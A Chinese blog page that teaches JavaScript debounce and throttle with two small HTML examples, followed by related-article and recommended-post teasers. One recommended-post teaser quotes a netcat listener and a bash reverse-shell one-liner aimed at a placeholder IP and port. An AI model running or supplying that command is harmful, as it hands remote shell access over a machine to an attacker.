JavaScript：防抖与节流
①防抖：
<!DOCTYPE html>
<html> <head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
div {
height: 2200px;
background-color: pink;
}
</style>
</head> <body>
<div>我是内容部分</div>
<script type="text/javascript">
//防抖：函数只执行最后一次，若时间间隔小于500毫秒，则函数不执行
window.onscroll = debounce(function () {
console.log("调用了1次");
}, 500) function debounce(func, delay = 300) {
var timer
return function () {
var that=this
var args=arguments
clearTimeout(timer)
timer = setTimeout(function(){
func.apply(that,args) //改变定时器中的this指向
},delay)
}
}
</script>
</body> </html>
②节流：
<!DOCTYPE html>
<html lang="en"> <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head> <body>
<button>点击</button>
<script>
//节流：函数在一定的时间里只能执行那么几次，点击后等500毫秒触发，只能500毫秒触发一次
var btn = document.getElementsByTagName('button')[0]
btn.onclick = throttle(function () {
console.log(111);
}, 500) function throttle(func, wait) {
var timer
return function () {
var that = this
var args = arguments
if (!timer) {
timer = setTimeout(function () {
timer = null
func.apply(that, args) //改变定时器中的this指向
}, wait)
}
}
}
</script>
</body> </html>
JavaScript：防抖与节流的更多相关文章
- JavaScript 防抖和节流
1. 概述 1.1 说明 在项目过程中,经常会遇到一个按钮被多次点击并且多次调用对应处理函数的问题,而往往我们只需去调用一次处理函数即可.有时也会遇到需要在某一规则内有规律的去触发对应的处理函数,所以 ...
- 来聊聊JavaScript中的防抖和节流
目录 JavaScript防抖和节流 问题还原 防抖 什么是防抖 使用场景 节流 什么是节流 使用场景 JavaScript防抖和节流 问题还原 我们先来通过代码把常见的问题还原: <html& ...
- 原生JavaScript实现函数的防抖和节流
原生JavaScript实现函数的防抖和节流 参考:https://www.jianshu.com/p/c8b86b09daf0 想详细了解的直接戳上面链接了,讲得非常清楚.下面只给代码和我自己写的注 ...
- 彻底搞懂JavaScript的闭包、防抖跟节流
最近出去面试了一下,收获颇多!!! 以前的我,追求实际,比较追求实用价值,然而最近面试,传说中的面试造火箭,工作拧螺丝,竟然被我遇到了.虽然很多知识点在实际工作中并不经常用到,但人家就是靠这个来筛选人 ...
- JavaScript 中的防抖和节流
什么是防抖 函数防抖(debounce):当持续触发事件时,一定时间段内没有再触发事件,事件处理函数才会执行一次,如果设定的时间到来之前,又一次触发了事件,就重新开始延时.如下图,持续触发 scrol ...
- javascript之防抖与节流
防抖 你是否在日常开发中遇到一个问题,在滚动事件中需要做个复杂计算或者实现一个按钮的防二次点击操作. 这些需求都可以通过函数防抖动来实现.尤其是第一个需求,如果在频繁的事件回调中做复杂计算,很有可能导 ...
- JavaScript中函数防抖、节流
码文不易,转载请带上本文链接,感谢~ https://www.cnblogs.com/echoyya/p/14565642.html 目录 码文不易,转载请带上本文链接,感谢~ https://www ...
- js高阶函数应用—函数防抖和节流
高阶函数指的是至少满足下列两个条件之一的函数: 1. 函数可以作为参数被传递:2.函数可以作为返回值输出: javaScript中的函数显然具备高级函数的特征,这使得函数运用更灵活,作为学习js必定会 ...
- js防抖和节流
今天在网上看到的,里面的内容非常多.说下我自己的理解. 所谓的防抖就是利用延时器来使你的最后一次操作执行.而节流是利用时间差的办法,每一段时间执行一次.下面是我的代码: 这段代码是右侧的小滑块跟随页面 ...
随机推荐
- Boost命令行解释器的简单使用：Boost.Program_options
简介 如果使用比较多的命令行程序的话,对于命令行参数的输入肯定不会陌生,大部分的程序都是通过类似下面的形式进行输入的,比如熟悉的ls ls --all -l --color=auto 这里面包含了三种 ...
- arm-linux校时和时钟同步
# 将时间写到系统 date 2020.08.25-14:02:00 # 将时间同步到硬件时钟芯片 hwclock -f /dev/rtc1 -w # 将时间从硬件时钟芯片同步到系统 hwclock ...
- python分类
python是一种动态解释性的强类型语言. python下分几个类别,分别是cpython,jypython,ironpython,pypy等等,这些属于不同的解释器,但编写规范只有一个就是pytho ...
- 我要进大厂之大数据MapReduce知识点(2)
01 我们一起学大数据 今天老刘分享的是MapReduce知识点的第二部分,在第一部分中基本把MapReduce的工作流程讲述清楚了,现在就是对MapReduce零零散散的知识点进行总结,这次的内容大 ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- 微信小程序生成二维码并且扫码跳转并且携带参数
话不多说,直接上代码,直接把APPID和APPSECRET改成自己的就能用了 <?php header('content-type:text/html;charset=utf-8'); //配置 ...
- MyBatis学习01
1.初识MyBatis 环境说明: jdk 8 + MySQL 5.7.19 maven-3.6.1 IDEA 学习前需要掌握: JDBC MySQL Java 基础 Maven Junit 什么是M ...
- 通俗解析莱文斯坦距离(Levenshtein Distance)计算原理(最小编辑距离)
[版权声明]:本文章由danvid发布于http://danvid.cnblogs.com/,如需转载或部分使用请注明出处 最近看到一些动态规划的东西讲到莱文斯坦距离(编辑距离)的计算,发现很多都讲的 ...
- react-hash-calendar，移动端日期时间选择插件
按照惯例,先上效果图 vue 版本同款日历:https://github.com/TangSY/vue-hash-calendar react-hash-calendar 支持手势滑动操作 上下滑动 ...
- css万能清除原理
如果现在能有清理浮动的办法,但不至于在文档中多一个没有用的空标记,这时的效果是最好的!引入:after伪元素选择器,可以在指定的元素的内容添加最后一个子元素 .container:after{ } 如 ...